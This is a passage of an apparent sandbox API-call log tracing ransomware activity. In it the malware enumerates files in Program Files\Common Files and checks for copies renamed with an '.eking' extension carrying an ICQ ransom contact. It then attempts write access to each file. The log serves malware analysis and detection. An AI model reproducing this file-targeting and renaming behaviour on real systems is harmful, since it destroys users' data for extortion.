(hEvent=0x2b8) returned 1 [0232.450] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0232.463] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=4222) returned 1 [0232.463] CloseHandle (hObject=0x364) returned 1 [0232.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0232.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0232.463] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.465] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0232.469] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=232) returned 1 [0232.470] CloseHandle (hObject=0x364) returned 1 [0232.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0232.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm")) returned 0x20 [0232.470] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.472] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.500] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=233) returned 1 [0232.501] CloseHandle (hObject=0x358) returned 1 [0232.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0232.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm")) returned 0x20 [0232.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\roses.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0232.527] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=237) returned 1 [0232.527] CloseHandle (hObject=0x364) returned 1 [0232.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0232.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm")) returned 0x20 [0232.527] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Shades of Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\shades of blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.532] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.543] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=232) returned 1 [0232.543] CloseHandle (hObject=0x358) returned 1 [0232.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0232.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm")) returned 0x20 [0232.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.549] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.558] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0232.660] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=7505) returned 1 [0232.661] CloseHandle (hObject=0x374) returned 1 [0232.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0232.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg")) returned 0x20 [0232.661] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.665] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0232.668] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=855376) returned 1 [0232.668] CloseHandle (hObject=0x374) returned 1 [0232.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0232.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll")) returned 0x20 [0232.668] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VC\\msdia90.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\msdia90.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.669] SetEvent (hEvent=0x2b8) returned 1 [0232.669] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0232.707] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=987136) returned 1 [0232.707] CloseHandle (hObject=0x364) returned 1 [0232.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0232.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll")) returned 0x20 [0232.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\VGX\\VGX.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\vgx\\vgx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.708] SetEvent (hEvent=0x2b8) returned 1 [0232.708] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\skype.exe" (normalized: "c:\\program files\\common files\\skype.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.719] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=80384) returned 1 [0232.719] CloseHandle (hObject=0x358) returned 1 [0232.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\skype.exe" (normalized: "c:\\program files\\common files\\skype.exe")) returned 0x20 [0232.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\skype.exe" (normalized: "c:\\program files\\common files\\skype.exe")) returned 0x20 [0232.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\skype.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\skype.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\skype.exe" (normalized: "c:\\program files\\common files\\skype.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.764] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=15195) returned 1 [0232.764] CloseHandle (hObject=0x358) returned 1 [0232.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0232.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0232.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.771] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.772] SetEvent (hEvent=0x2b8) returned 1 [0232.772] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.818] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=2560) returned 1 [0232.818] CloseHandle (hObject=0x358) returned 1 [0232.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0232.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll")) returned 0x20 [0232.818] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.818] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msader15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msader15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.819] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0232.852] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=50688) returned 1 [0232.853] CloseHandle (hObject=0x364) returned 1 [0232.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0232.854] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb")) returned 0x20 [0232.855] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado20.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado20.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.855] SetEvent (hEvent=0x2b8) returned 1 [0232.855] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0232.856] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=53760) returned 1 [0232.856] CloseHandle (hObject=0x364) returned 1 [0232.856] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0232.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb")) returned 0x20 [0232.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.858] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado21.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado21.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.860] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.894] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=70656) returned 1 [0232.894] CloseHandle (hObject=0x358) returned 1 [0232.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0232.894] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb")) returned 0x20 [0232.895] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado26.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado26.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.933] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=70656) returned 1 [0232.933] CloseHandle (hObject=0x358) returned 1 [0232.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0232.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20 [0232.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.938] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.952] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=364032) returned 1 [0232.952] CloseHandle (hObject=0x358) returned 1 [0232.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0232.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll")) returned 0x20 [0232.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadomd.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.952] SetEvent (hEvent=0x2b8) returned 1 [0232.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.959] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=45568) returned 1 [0232.959] CloseHandle (hObject=0x358) returned 1 [0232.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0232.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll")) returned 0x20 [0232.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0232.964] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msador15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msador15.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0232.982] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=91136) returned 1 [0232.982] CloseHandle (hObject=0x358) returned 1 [0232.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" (normalized: "c:\\program files\\common files\\system\\ado\\msadrh15.dll")) returned 0x20 [0232.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\msadrh15.dll" 